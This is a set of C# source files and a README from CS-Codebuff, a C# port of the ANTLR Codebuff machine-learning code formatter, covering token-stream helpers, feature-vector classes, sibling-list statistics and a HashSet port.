_toFileInfoString(FeatureMetaData[] FEATURES, InputDocument doc, int[] features) { StringBuilder buf = new StringBuilder(); for (int i = 0; i < FEATURES.Length; i++) { if (FEATURES[i].type != FeatureType.INFO_FILE && FEATURES[i].type != FeatureType.INFO_LINE && FEATURES[i].type != FeatureType.INFO_CHARPOS) { continue; } if (i > 0) { buf.Append(" "); } int displayWidth = FEATURES[i].type.displayWidth; if (FEATURES[i].type == FeatureType.INFO_LINE || FEATURES[i].type == FeatureType.INFO_CHARPOS) { if (features[i] >= 0) { buf.Append(string.Format("%" + displayWidth + "s", StringUtils.center(features[i].ToString(), displayWidth))); } else { buf.Append(Tool.sequence(displayWidth, " ")); } } else if (FEATURES[i].type == FeatureType.INFO_FILE) { string fname = System.IO.Path.GetFileName(doc.fileName); fname = StringUtils.abbreviate(fname, displayWidth); buf.Append(string.Format("%" + displayWidth + "s", fname)); } else { Log.WriteLine("NO STRING FOR FEATURE TYPE: " + FEATURES[i].type); } } return buf.ToString(); } public static string featureNameHeader(FeatureMetaData[] FEATURES) { StringBuilder buf = new StringBuilder(); for (int i = 0; i < FEATURES.Length; i++) { if (FEATURES[i].type.Equals(FeatureType.UNUSED)) { continue; } if (i > 0) { buf.Append(" "); } if (i == INDEX_CUR_TOKEN_TYPE) { buf.Append("| "); // separate prev from current tokens } int displayWidth = FEATURES[i].type.displayWidth; buf.Append(StringUtils.center(FEATURES[i].abbrevHeaderRows[0], displayWidth)); } buf.Append("\n"); for (int i = 0; i < FEATURES.Length; i++) { if (FEATURES[i].type.Equals(FeatureType.UNUSED)) { continue; } if (i > 0) { buf.Append(" "); } if (i == INDEX_CUR_TOKEN_TYPE) { buf.Append("| "); // separate prev from current tokens } int displayWidth = FEATURES[i].type.displayWidth; buf.Append(StringUtils.center(FEATURES[i].abbrevHeaderRows[1], displayWidth)); } buf.Append("\n"); for (int i = 0; i < FEATURES.Length; i++) { if (FEATURES[i].type.Equals(FeatureType.UNUSED)) { continue; } if (i > 0) { buf.Append(" "); } if (i == INDEX_CUR_TOKEN_TYPE) { buf.Append("| "); // separate prev from current tokens } int displayWidth = FEATURES[i].type.displayWidth; buf.Append(StringUtils.center("(" + ((int)FEATURES[i].mismatchCost) + ")", displayWidth)); } buf.Append("\n"); for (int i = 0; i < FEATURES.Length; i++) { if (FEATURES[i].type.Equals(FeatureType.UNUSED)) { continue; } if (i > 0) { buf.Append(" "); } if (i == INDEX_CUR_TOKEN_TYPE) { buf.Append("| "); // separate prev from current tokens } int displayWidth = FEATURES[i].type.displayWidth; buf.Append(Tool.sequence(displayWidth, "=")); } buf.Append("\n"); return buf.ToString(); } /// <summary> /// Make an index for fast lookup from Token to tree leaf </summary> public static IDictionary<Token, TerminalNode> indexTree(ParserRuleContext root) { IDictionary<Token, TerminalNode> tokenToNodeMap = new Dictionary<Token, TerminalNode>(); ParseTreeWalker.Default.Walk(new ParseTreeListenerAnonymousInnerClass(tokenToNodeMap), root); return tokenToNodeMap; } private class ParseTreeListenerAnonymousInnerClass : ParseTreeListener { private IDictionary<Token, TerminalNode> tokenToNodeMap; public ParseTreeListenerAnonymousInnerClass(IDictionary<Token, TerminalNode> tokenToNodeMap) { this.tokenToNodeMap = tokenToNodeMap; } public void VisitTerminal(TerminalNode node) { Token curToken = node.Symbol; tokenToNodeMap[curToken] = node; } public void VisitErrorNode(ErrorNode node) { } public void EnterEveryRule(ParserRuleContext ctx) { } public void ExitEveryRule(ParserRuleContext ctx) { } } public static IList<Token> getRealTokens(CommonTokenStream tokens) { IList<Token> real = new List<Token>(); for (int i = 0; i < tokens.Size; i++) { Token t = tokens.Get(i); if (t.Type != TokenConstants.EOF && t.Channel == Lexer.DefaultTokenChannel) { real.Add(t); } } return real; } /// <summary> /// Return the index 0..n-1 of t as child of t.parent. /// If t is index 0, always return 0. /// If t is a repeated subtree root and index within /// sibling list > 0, return CHILD_INDEX_LIST_ELEMENT. /// In all other cases, return the actual index of t. That means for a /// sibling list starting at child index 5, the first sibling will return /// 5 but 2nd and beyond in list will return CHILD_INDEX_LIST_ELEMENT. /// </summary> public static int getChildIndexOrListMembership(ParseTree t) { if (t == null) { return -1; } ParseTree parent = t.Parent; if (parent == null) { return -1; } // we know we have a parent now // check to see if we are 2nd or beyond element in a sibling list if (t is ParserRuleContext) { var s = ((ParserRuleContext) parent).GetRuleContexts<ParserRuleContext>(); IList<ParserRuleContext> siblings = s.Where((n) => n.GetType() == t.GetType()).ToList(); //IList<ParserRuleContext> siblings = ((ParserRuleContext)parent).GetRuleContexts<ParserRuleContext>(((ParserRuleContext)t).GetType()); if (siblings.Count > 1 && siblings.IndexOf(t as ParserRuleContext) > 0) { return CHILD_INDEX_REPEATED_ELEMENT; } } // check to see if we are 2nd or beyond repeated token if (t is TerminalNode) { IList<TerminalNode> repeatedTokens = ((ParserRuleContext) parent).GetTokens(((TerminalNode) t).Symbol.Type); if (repeatedTokens.Count > 1 && repeatedTokens.IndexOf(t as TerminalNode) > 0) { return CHILD_INDEX_REPEATED_ELEMENT; } } return getChildIndex(t); } public static int getChildIndex(ParseTree t) { if (t == null) { return -1; } ParseTree parent = t.Parent; if (parent == null) { return -1; } // Figure out which child index t is of parent for (int i = 0; i < parent.ChildCount; i++) { if (parent.GetChild(i) == t) { return i; } } return -1; } public static int rulealt(ParserRuleContext r) { return rulealt(r.RuleIndex, r.getAltNumber()); } /// <summary> /// Pack a rule index and an alternative number into the same 32-bit integer. </summary> public static int rulealt(int rule, int alt) { if (rule == -1) { return -1; } return rule << 16 | alt; } /// <summary> /// Return {rule index, rule alt number} </summary> public static int[] unrulealt(int ra) { if (ra == -1) { return new int[] {-1, ATN.INVALID_ALT_NUMBER}; } return new int[] {(ra >> 16) & 0xFFFF,ra & 0xFFFF}; } public static int indentcat(int deltaFromLeftAncestor, int child) { return CAT_INDENT_FROM_ANCESTOR_CHILD | (deltaFromLeftAncestor << 8) | (child << 16); } public static int[] unindentcat(int v) { int deltaFromLeftAncestor = (v >> 8) & 0xFF; int child = (v >> 16) & 0xFFFF; return new int[] {deltaFromLeftAncestor, child}; } public static int aligncat(int deltaFromLeftAncestor, int child) { return CAT_ALIGN_WITH_ANCESTOR_CHILD | (deltaFromLeftAncestor << 8) | (child << 16); } public static int[] triple(int v) { int deltaFromLeftAncestor = (v >> 8) & 0xFF; int child = (v >> 16) & 0xFFFF; return new int[] {deltaFromLeftAncestor, child}; } public static int wscat(int n) { return CAT_INJECT_WS | (n << 8); } public static int nlcat(int n) { return CAT_INJECT_NL | (n << 8); } public static int unwscat(int v) { return v >> 8 & 0xFFFF; } public static int unnlcat(int v) { return v >> 8 & 0xFFFF; } // '\n' (before list, before sep, after sep, after last element) public static int listform(int[] ws) { bool[] nl = new bool[] {ws[0] == '\n', ws[1] == '\n', ws[2] == '\n', ws[3] == '\n'}; return (nl[0]?0x01000000:0) | (nl[1]?0x00010000:0) | (nl[2]?0x00000100:0) | (nl[3]?0x00000001:0); } public static int[] unlistform(int v) { return new int[] {v >> 24 & 0xFF, v >> 16 & 0xFF, v >> 8 & 0xFF, v & 0xFF}; } } }<file_sep>namespace org.antlr.codebuff.misc { public class MutableInt { public int i; public MutableInt(int i) { this.i = i; } public virtual void inc() { i++; } public virtual int asInt() { return i; } public override string ToString() { return i.ToString(); } } }<file_sep># CS-Codebuff This project is a port of [Codebuff](https://github.com/antlr/codebuff) to C#, generated from Tangible Software Solutions' excellent Code Converter, and then hand-tuned to resolve certain problems not caught by Code Converter. Codebuff is a formatting tool that uses a novel approach via a machine learning algorithm (http://dl.acm.org/citation.cfm?id=2997383 https://arxiv.org/abs/1606.08866). ## Targets * Net Framework 4.5 ## Using the API from NuGet Use the Package Manager GUI in VS 2017 to add in the package "cs-codebuff". Or, download the package from NuGet (https://www.nuget.org/packages/cs-codebuff) and add the package "cs-codebuff" from the nuget package manager console. Set up the build of your C# application with Platform = "AnyCPU", Configuration = "Debug" or "Release". ## Example ~~~~ example ~~~~ ## Alternative code formatting tools for C# <file_sep>namespace org.antlr.codebuff.validation { using System.Linq; using MurmurHash = Antlr4.Runtime.Misc.MurmurHash; public class FeatureVectorAsObject { public readonly int[] features; public readonly FeatureMetaData[] featureMetaData; public FeatureVectorAsObject(int[] features, FeatureMetaData[] featureMetaData) { this.features = features; this.featureMetaData = featureMetaData; } public override int GetHashCode() { int hash = MurmurHash.Initialize(); int n = 0; for (int i = 0; i < features.Length - 3; i++) { // don't include INFO if (featureMetaData != null && featureMetaData[i] == FeatureMetaData.UNUSED) { continue; } n++; int feature = features[i]; hash = MurmurHash.Update(hash, feature); } return MurmurHash.Finish(hash, n); } public override bool Equals(object obj) { if (obj == this) { return true; } else if (!(obj is FeatureVectorAsObject)) { return false; } FeatureVectorAsObject other = (FeatureVectorAsObject) obj; for (int i = 0; i < features.Length - 3; i++) { // don't include INFO if (featureMetaData != null && featureMetaData[i] == FeatureMetaData.UNUSED) { continue; } if (features[i] != other.features[i]) { return false; } } return true; } public override string ToString() { return string.Join(" ", features); } } }<file_sep>using System; namespace org.antlr.codebuff.misc { using Lexer = Antlr4.Runtime.Lexer; using Parser = Antlr4.Runtime.Parser; public class LangDescriptor { public string name; public string corpusDir; // dir under "corpus/" public string fileRegex; public Type lexerClass; public Type parserClass; public string startRuleName; public int indentSize; /// <summary> /// token type of single comment, if any. If your single-comment lexer /// rule matches newline, then this is optional. /// </summary> public int singleLineCommentType; public LangDescriptor(string name, string corpusDir, string fileRegex, Type lexerClass, Type parserClass, string startRuleName, int indentSize, int singleLineCommentType) { this.name = name; this.corpusDir = corpusDir; this.fileRegex = fileRegex; this.lexerClass = lexerClass; this.parserClass = parserClass; this.startRuleName = startRuleName; this.indentSize = indentSize; this.singleLineCommentType = singleLineCommentType; } } }<file_sep>using System.Collections.Generic; using System.Collections; using System.Collections.Generic; using Antlr4.Runtime; using System.Linq; namespace org.antlr.codebuff.misc { using CommonToken = CommonToken; using CommonTokenStream = CommonTokenStream; using Lexer = Lexer; using Token = IToken; using TokenSource = ITokenSource; /// <summary> /// Override to fix bug in LB() </summary> public class CodeBuffTokenStream : CommonTokenStream { public CodeBuffTokenStream(CommonTokenStream stream) : base(stream.TokenSource) { this.fetchedEOF = false; foreach (Token t in stream.GetTokens()) { tokens.Add(new CommonToken(t)); } Reset(); // Virtual member called in constructor... } public CodeBuffTokenStream(TokenSource tokenSource) : base(tokenSource) { } protected override Token Lb(int k) { if (k == 0 || (p - k) < 0) { return null; } int i = p; int n = 1; // find k good tokens looking backwards while (i >= 1 && n <= k) { // skip off-channel tokens i = PreviousTokenOnChannel(i - 1, channel); n++; } if (i < 0) { return null; } return tokens[i]; } public virtual Token getPreviousRealToken(int i) { i--; // previousTokenOnChannel is inclusive if (i < 0) return null; int pi = PreviousTokenOnChannel(i, TokenConstants.DefaultChannel); if (pi >= 0 && pi < this.Size) { return this.Get(pi); } return null; } public virtual Token getNextRealToken(int i) { i++; // nextTokenOnChannel is inclusive int ni = NextTokenOnChannel(i, TokenConstants.DefaultChannel); if (ni >= 0 && ni < this.Size) { return this.Get(ni); } return null; } public virtual IList<Token> RealTokens { get { return getRealTokens(0, this.Size - 1); } } public virtual IList<Token> getRealTokens(int from, int to) { IList<Token> real = new List<Token>(); for (int i = from; i <= to; i++) { Token t = tokens[i]; if (t.Channel == Lexer.DefaultTokenChannel) { real.Add(t); } } if (real.Count == 0) { return null; } return real; } } }<file_sep>using System.Collections.Generic; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; using System.Linq; namespace org.antlr.codebuff.walkers { using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; //using HashBag = org.antlr.codebuff.misc.HashBag; using ParentSiblingListKey = org.antlr.codebuff.misc.ParentSiblingListKey; using SiblingListStats = org.antlr.codebuff.misc.SiblingListStats; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using Token = Antlr4.Runtime.IToken; using ErrorNode = Antlr4.Runtime.Tree.IErrorNode; using TerminalNode = Antlr4.Runtime.Tree.ITerminalNode; using Antlr4.Runtime; using System; /// <summary> /// [USED IN TRAINING ONLY] /// Find subtree roots with repeated child rule subtrees and separators. /// Track oversize and regular lists are sometimes treated differently, such as /// formal arg lists in Java. Sometimes they are split across lines. /// /// A single instance is shared across all training docs to collect complete info. /// </summary> public class CollectSiblingLists : VisitSiblingLists { // listInfo and splitListInfo are used to collect statistics for use by the formatting engine when computing "is oversize list" /// <summary> /// Track set of (parent:alt,child:alt) list pairs and their min,median,variance,max /// but only if the list is all on one line and has a separator. /// </summary> public IDictionary<ParentSiblingListKey, IList<int>> listInfo = new Dictionary<ParentSiblingListKey, IList<int>>(); /// <summary> /// Track set of (parent:alt,child:alt) list pairs and their min,median,variance,max /// but only if the list is split with at least one '\n' before/after /// a separator. /// </summary> public IDictionary<ParentSiblingListKey, IList<int>> splitListInfo = new Dictionary<ParentSiblingListKey, IList<int>>(); /// <summary> /// Debugging </summary> public IDictionary<ParentSiblingListKey, IList<int>> splitListForm = new Dictionary<ParentSiblingListKey, IList<int>>(); /// <summary> /// Map token to ("is oversize", element type). Used to compute feature vector. </summary> public IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenToListInfo = new Dictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>>(); public IDictionary<Token, TerminalNode> tokenToNodeMap = null; public CodeBuffTokenStream tokens; // reuse object so the maps above fill from multiple files during training public virtual void setTokens(CodeBuffTokenStream tokens, ParserRuleContext root, IDictionary<Token, TerminalNode> tokenToNodeMap) { this.tokens = tokens; this.tokenToNodeMap = tokenToNodeMap; } public override void visitNonSingletonWithSeparator<T1>(ParserRuleContext ctx, IList<T1> siblings, IToken separator) { ParserRuleContext first = siblings[0] as Antlr4.Runtime.ParserRuleContext; ParserRuleContext last = siblings[siblings.Count - 1] as Antlr4.Runtime.ParserRuleContext; IList<Token> hiddenToLeft = tokens.GetHiddenTokensToLeft(first.Start.TokenIndex); IList<Token> hiddenToLeftOfSep = tokens.GetHiddenTokensToLeft(separator.TokenIndex); IList<Token> hiddenToRightOfSep = tokens.GetHiddenTokensToRight(separator.TokenIndex); IList<Token> hiddenToRight = tokens.GetHiddenTokensToRight(last.Stop.TokenIndex); Token hiddenTokenToLeft = hiddenToLeft != null ? hiddenToLeft[0] : null; Token hiddenTokenToRight = hiddenToRight != null ? hiddenToRight[0] : null; int[] ws = new int[4]; // '\n' (before list, before sep, after sep, after last element) // KED. naked new lines is not platform independent!!!!!!!!!!!!!!!!!!!! // STOP using naked new lines!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! if (hiddenTokenToLeft != null && Tool.count(hiddenTokenToLeft.Text, '\n') > 0) { ws[0] = '\n'; } if (hiddenToLeftOfSep != null && Tool.count(hiddenToLeftOfSep[0].Text, '\n') > 0) { ws[1] = '\n'; // System.out.println("BEFORE "+JavaParser.ruleNames[ctx.getRuleIndex()]+ // "->"+JavaParser.ruleNames[ctx.getRuleIndex()]+" sep "+ // JavaParser.tokenNames[separator.getType()]+ // " "+separator); } if (hiddenToRightOfSep != null && Tool.count(hiddenToRightOfSep[0].Text, '\n') > 0) { ws[2] = '\n'; // System.out.println("AFTER "+JavaParser.ruleNames[ctx.getRuleIndex()]+ // "->"+JavaParser.ruleNames[ctx.getRuleIndex()]+" sep "+ // JavaParser.tokenNames[separator.getType()]+ // " "+separator); } if (hiddenTokenToRight != null && Tool.count(hiddenTokenToRight.Text, '\n') > 0) { ws[3] = '\n'; } bool isSplitList = ws[1] == '\n' || ws[2] == '\n'; // now track length of parent:alt,child:alt list or split-list ParentSiblingListKey pair = new ParentSiblingListKey(ctx, first, separator.Type); IDictionary<ParentSiblingListKey, IList<int>> info = isSplitList ? splitListInfo : listInfo; IList<int> lens = null; info.TryGetValue(pair, out lens); if (lens == null) { lens = new List<int>(); info[pair] = lens; } lens.Add(Trainer.getSiblingsLength(siblings)); // track the form split lists take for debugging if (isSplitList) { int form = Trainer.listform(ws); IList<int> forms = null; splitListForm.TryGetValue(pair, out forms); if (forms == null) { forms = new List<int>(); splitListForm[pair] = forms; } forms.Add(form); // track where we put newlines for this list } IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenInfo = getInfoAboutListTokens(ctx, tokens, tokenToNodeMap, siblings, isSplitList); // copy sibling list info for associated tokens into overall list // but don't overwrite existing so that most general (largest construct) // list information is use/retained (i.e., not overwritten). foreach (Token t in tokenInfo.Keys) { if (!tokenToListInfo.ContainsKey(t)) { tokenToListInfo[t] = tokenInfo[t]; } } } // for debugging public virtual IDictionary<ParentSiblingListKey, int> SplitListForms { get { IDictionary<ParentSiblingListKey, int> results = new Dictionary<ParentSiblingListKey, int>(); foreach (ParentSiblingListKey pair in splitListForm.Keys) { HashBag<int> votes = new HashBag<int>(); IList<int> forms = null; splitListForm.TryGetValue(pair, out forms); if (forms != null) foreach (var f in forms) votes.add(f); int mostCommonForm = kNNClassifier.getCategoryWithMostVotes(votes); results[pair] = mostCommonForm; } return results; } } public virtual IDictionary<ParentSiblingListKey, SiblingListStats> ListStats { get { return getListStats(listInfo); } } public virtual IDictionary<ParentSiblingListKey, SiblingListStats> SplitListStats { get { return getListStats(splitListInfo); } } public virtual IDictionary<ParentSiblingListKey, SiblingListStats> getListStats(IDictionary<ParentSiblingListKey, IList<int>> map) { IDictionary<ParentSiblingListKey, SiblingListStats> listSizes = new Dictionary<ParentSiblingListKey, SiblingListStats>(); foreach (ParentSiblingListKey pair in map.Keys) { IList<int> lens = map[pair]; var new_lens = lens.OrderBy(i => i).ToList(); lens = new_lens; int n = lens.Count; int? min = lens[0]; int? median = lens[n / 2]; int? max = lens[n - 1]; double @var = BuffUtils.variance(lens); listSizes[pair] = new SiblingListStats(n, min.Value, median.Value, @var, max.Value); } return listSizes; } public virtual IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> TokenToListInfo { get { return tokenToListInfo; } } public override void VisitTerminal(TerminalNode node) { } public override void VisitErrorNode(ErrorNode node) { } public override void ExitEveryRule(ParserRuleContext ctx) { } } }<file_sep>using System; using System.Collections.Generic; using System.Collections; /* * Copyright 1997-2006 Sun Microsystems, Inc. All Rights Reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Sun designates this * particular file as subject to the "Classpath" exception as provided * by Sun in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, * CA 95054 USA or visit www.sun.com if you need additional information or * have any questions. */ namespace org.antlr.codebuff.misc { /// <summary> /// This class implements the <tt>Set</tt> interface, backed by a hash table /// (actually a <tt>HashMap</tt> instance). It makes no guarantees as to the /// iteration order of the set; in particular, it does not guarantee that the /// order will remain constant over time. This class permits the <tt>null</tt> /// element. /// /// <para>This class offers constant time performance for the basic operations /// (<tt>add</tt>, <tt>remove</tt>, <tt>contains</tt> and <tt>size</tt>), /// assuming the hash function disperses the elements properly among the /// buckets. Iterating over this set requires time proportional to the sum of /// the <tt>HashSet</tt> instance's size (the number of elements) plus the /// "capacity" of the backing <tt>HashMap</tt> instance (the number of /// buckets). Thus, it's very important not to set the initial capacity too /// high (or the load factor too low) if iteration performance is important. /// /// </para> /// <para><strong>Note that this implementation is not synchronized.</strong> /// If multiple threads access a hash set concurrently, and at least one of /// the threads modifies the set, it <i>must</i> be synchronized externally. /// This is typically accomplished by synchronizing on some object that /// naturally encapsulates the set. /// /// If no such object exists, the set should be "wrapped" using the /// <seealso cref="Collections#synchronizedSet Collections.synchronizedSet"/> /// method. This is best done at creation time, to prevent accidental /// unsynchronized access to the set:<pre> /// Set s = Collections.synchronizedSet(new HashSet(...));</pre> /// /// </para> /// <para>The iterators returned by this class's <tt>iterator</tt> method are /// <i>fail-fast</i>: if the set is modified at any time after the iterator is /// created, in any way except through the iterator's own <tt>remove</tt> /// method, the Iterator throws a <seealso cref="ConcurrentModificationException"/>. /// Thus, in the face of concurrent modification, the iterator fails quickly /// and cleanly, rather than risking arbitrary, non-deterministic behavior at /// an undetermined time in the future. /// /// </para> /// <para>Note that the fail-fast behavior of an iterator cannot be guaranteed /// as it is, generally speaking, impossible to make any hard guarantees in the /// presence of unsynchronized concurrent modification. Fail-fast iterators /// throw <tt>ConcurrentModificationException</tt> on a best-effort basis. /// Therefore, it would be wrong to write a program that depended on this /// exception for its correctness: <i>the fail-fast behavior of iterators /// should be used only to detect bugs.</i> /// /// </para> /// <para>This class is a member of the /// <a href="{@docRoot}/../technotes/guides/collections/index.html"> /// Java Collections Framework</a>. /// /// </para> /// </summary> /// @param <E> the type of elements maintained by this set /// /// @author <NAME> /// @author <NAME> </param> /// <seealso cref= Collection </seealso> /// <seealso cref= Set </seealso> /// <seealso cref= TreeSet </seealso> /// <seealso cref= HashMap /// @since 1.2 </seealso> [Serializable] public class MyHashSet<E> : System.Collections.IEnumerable, ICollection<E> { internal const long serialVersionUID = -5024744406713321676L; [NonSerialized] private Dictionary<E, object> map; // Dummy value to associate with an Object in the backing Map private static readonly object PRESENT = new object(); /// <summary> /// Constructs a new, empty set; the backing <tt>HashMap</tt> instance has /// default initial capacity (16) and load factor (0.75). /// </summary> public MyHashSet() { map = new Dictionary<E, object>(); } /// <summary> /// Constructs a new set containing the elements in the specified /// collection. The <tt>HashMap</tt> is created with default load factor /// (0.75) and an initial capacity sufficient to contain the elements in /// the specified collection. /// </summary> /// <param name="c"> the collection whose elements are to be placed into this set </param> /// <exception cref="NullPointerException"> if the specified collection is null </exception> public MyHashSet(ICollection<E> c) { map = new Dictionary<E, object>(Math.Max((int) (c.Count/.75f) + 1, 16)); foreach (E e in c) map.Add(e, PRESENT); } /// <summary> /// Constructs a new, empty set; the backing <tt>HashMap</tt> instance has /// the specified initial capacity and the specified load factor. /// </summary> /// <param name="initialCapacity"> the initial capacity of the hash map </param> /// <param name="loadFactor"> the load factor of the hash map </param> /// <exception cref="IllegalArgumentException"> if the initial capacity is less /// than zero, or if the load factor is nonpositive </exception> public MyHashSet(int initialCapacity, float loadFactor) { map = new Dictionary<E, object>(initialCapacity); } /// <summary> /// Constructs a new, empty set; the backing <tt>HashMap</tt> instance has /// the specified initial capacity and default load factor (0.75). /// </summary> /// <param name="initialCapacity"> the initial capacity of the hash table </param> /// <exception cref="IllegalArgumentException"> if the initial capacity is less /// than zero </exception> public MyHashSet(int initialCapacity) { map = new Dictionary<E, object>(initialCapacity); } /// <summary> /// Constructs a new, empty linked hash set. (This package private /// constructor is only used by LinkedHashSet.) The backing /// HashMap instance is a LinkedHashMap with the specified initial /// capacity and the specified load factor. /// </summary> /// <param name="initialCapacity"> the initial capacity of the hash map </param> /// <param name="loadFactor"> the load factor of the hash map </param> /// <param name="dummy"> ignored (distinguishes this /// constructor from other int, float constructor.) </param> /// <exception cref="IllegalArgumentException"> if the initial capacity is less /// than zero, or if the load factor is nonpositive </exception> internal MyHashSet(int initialCapacity, float loadFactor, bool dummy) { map = new Dictionary<E, object>(initialCapacity); } /// <summary> /// Returns an iterator over the elements in this set. The elements /// are returned in no particular order. /// </summary> /// <returns> an Iterator over the elements in this set </returns> /// <seealso cref= ConcurrentModificationException </seealso> public virtual IEnumerator<E> iterator() { return map.Keys.GetEnumerator(); } /// <summary> /// Returns the number of elements in this set (its cardinality). /// </summary> /// <returns> the number of elements in this set (its cardinality) </returns> public virtual int size() { return map.Count; } /// <summary> /// Returns <tt>true</tt> if this set contains no elements. /// </summary> /// <returns> <tt>true</tt> if this set contains no elements </returns> public virtual bool Empty { get { return map.Count == 0; } } /// <summary> /// Returns <tt>true</tt> if this set contains the specified element. /// More formally, returns <tt>true</tt> if and only if this set /// contains an element <tt>e</tt> such that /// <tt>(o==null&nbsp;?&nbsp;e==null&nbsp;:&nbsp;o.equals(e))</tt>. /// </summary> /// <param name="o"> element whose presence in this set is to be tested </param> /// <returns> <tt>true</tt> if this set contains the specified element </returns> public virtual bool contains(object o) { E e = (E)o; return map.ContainsKey(e); } /// <summary> /// Adds the specified element to this set if it is not already present. /// More formally, adds the specified element <tt>e</tt> to this set if /// this set contains no element <tt>e2</tt> such that /// <tt>(e==null&nbsp;?&nbsp;e2==null&nbsp;:&nbsp;e.equals(e2))</tt>. /// If this set already contains the element, the call leaves the set /// unchanged and returns <tt>false</tt>. /// </summary> /// <param name="e"> element to be added to this set </param> /// <returns> <tt>true</tt> if this set did not already contain the specified /// element </returns> public virtual bool add(E e) { bool result = map.ContainsKey(e); map[e] = PRESENT; // no throw if already in dictionary. return result; } /// <summary> /// Removes the specified element from this set if it is present. /// More formally, removes an element <tt>e</tt> such that /// <tt>(o==null&nbsp;?&nbsp;e==null&nbsp;:&nbsp;o.equals(e))</tt>, /// if this set contains such an element. Returns <tt>true</tt> if /// this set contained the element (or equivalently, if this set /// changed as a result of the call). (This set will not contain the /// element once the call returns.) /// </summary> /// <param name="o"> object to be removed from this set, if present </param> /// <returns> <tt>true</tt> if the set contained the specified element </returns> public virtual bool remove(object o) { E e = (E) o; bool result = map.ContainsKey(e); map.Remove(e); return result; } /// <summary> /// Removes all of the elements from this set. /// The set will be empty after this call returns. /// </summary> public virtual void clear() { map.Clear(); } /// <summary> /// Returns a shallow copy of this <tt>HashSet</tt> instance: the elements /// themselves are not cloned. /// </summary> /// <returns> a shallow copy of this set </returns> public virtual object clone() { try { MyHashSet<E> newSet = new MyHashSet<E>(); newSet.map = new Dictionary<E, object>(this.map); return newSet; } catch (Exception e) { throw e; } } IEnumerator<E> IEnumerable<E>.GetEnumerator() { return map.Keys.GetEnumerator(); } /// <summary> /// Save the state of this <tt>HashSet</tt> instance to a stream (that is, /// serialize it). /// /// @serialData The capacity of the backing <tt>HashMap</tt> instance /// (int), and its load factor (float) are emitted, followed by /// the size of the set (the number of elements it contains) /// (int), followed by all of its elements (each an Object) in /// no particular order. /// </summary> //JAVA TO C# CONVERTER WARNING: Method 'throws' clauses are not available in .NET: //ORIGINAL LINE: private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException //private void writeObject(java.io.ObjectOutputStream s) //{ // // Write out any hidden serialization magic // s.defaultWriteObject(); // // Write out HashMap capacity and load factor // s.writeInt(map.capacity()); // s.writeFloat(map.loadFactor()); // // Write out size // s.writeInt(map.Count); // // Write out all elements in the proper order. // for (IEnumerator i = map.Keys.GetEnumerator(); i.MoveNext();) // { // s.writeObject(i.Current); // } //} /// <summary> /// Reconstitute the <tt>HashSet</tt> instance from a stream (that is, /// deserialize it). /// </summary> //JAVA TO C# CONVERTER WARNING: Method 'throws' clauses are not available in .NET: //ORIGINAL LINE: private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException //private void readObject(java.io.ObjectInputStream s) //{ // // Read in any hidden serialization magic // s.defaultReadObject(); // // Read in HashMap capacity and load factor and create backing HashMap // int capacity = s.readInt(); // float loadFactor = s.readFloat(); // map = (((HashSet) this) is LinkedHashSet // ? new LinkedHashMap<E, object>(capacity, loadFactor) // : new Dictionary<E, object>(capacity, loadFactor)); // // Read in size // int size = s.readInt(); // // Read in all elements in the proper order. // for (int i = 0; i < size; i++) // { // E e = (E) s.readObject(); // map[e] = PRESENT; // } //} public IEnumerator GetEnumerator() { return map.Keys.GetEnumerator(); } public void Add(E item) { throw new NotImplementedException(); } public void Clear() { throw new NotImplementedException(); } public bool Contains(E item) { throw new NotImplementedException(); } public void CopyTo(E[] array, int arrayIndex) { throw new NotImplementedException(); } public bool Remove(E item) { throw new NotImplementedException(); } public int Count { get; } public bool IsReadOnly { get; } } } <file_sep>using System.Collections.Generic; namespace org.antlr.codebuff { //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Formatter.getHPosCategoryStr; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Formatter.getWSCategoryStr; public class Neighbor { public Corpus corpus; public readonly double distance; public readonly int corpusVectorIndex; // refers to both X (independent) and Y (dependent/predictor) variables public Neighbor(Corpus corpus, double distance, int corpusVectorIndex) { this.corpus = corpus; this.distance = distance; this.corpusVectorIndex = corpusVectorIndex; } public virtual string ToString(FeatureMetaData[] FEATURES, IList<int> Y) { int[] X = corpus.featureVectors[corpusVectorIndex]; InputDocument doc = corpus.documentsPerExemplar[corpusVectorIndex]; string features = Trainer._toString(FEATURES, doc, X); int line = X[Trainer.INDEX_INFO_LINE]; string lineText = doc.getLine(line); int col = X[Trainer.INDEX_INFO_CHARPOS]; // insert a dot right before char position if (!string.ReferenceEquals(lineText, null)) { lineText = lineText.Substring(0, col) + '\u00B7' + lineText.Substring(col, lineText.Length - col); } int cat = Y[corpusVectorIndex]; int[] elements = Trainer.triple(cat); // String display = String.format("%d|%d|%d", cat&0xFF, elements[0], elements[1]); string wsDisplay = Formatter.getWSCategoryStr(cat); string alignDisplay = Formatter.getHPosCategoryStr(cat); string display = !string.ReferenceEquals(wsDisplay, null) ? wsDisplay : alignDisplay; if (string.ReferenceEquals(display, null)) { display = string.Format("{0,8}","none"); } return string.Format("{0} ({1},d={2,1:F3}): {3}", features, display, distance, lineText); } } }<file_sep>using System; using System.Collections; using System.Collections.Generic; using System.Linq; namespace 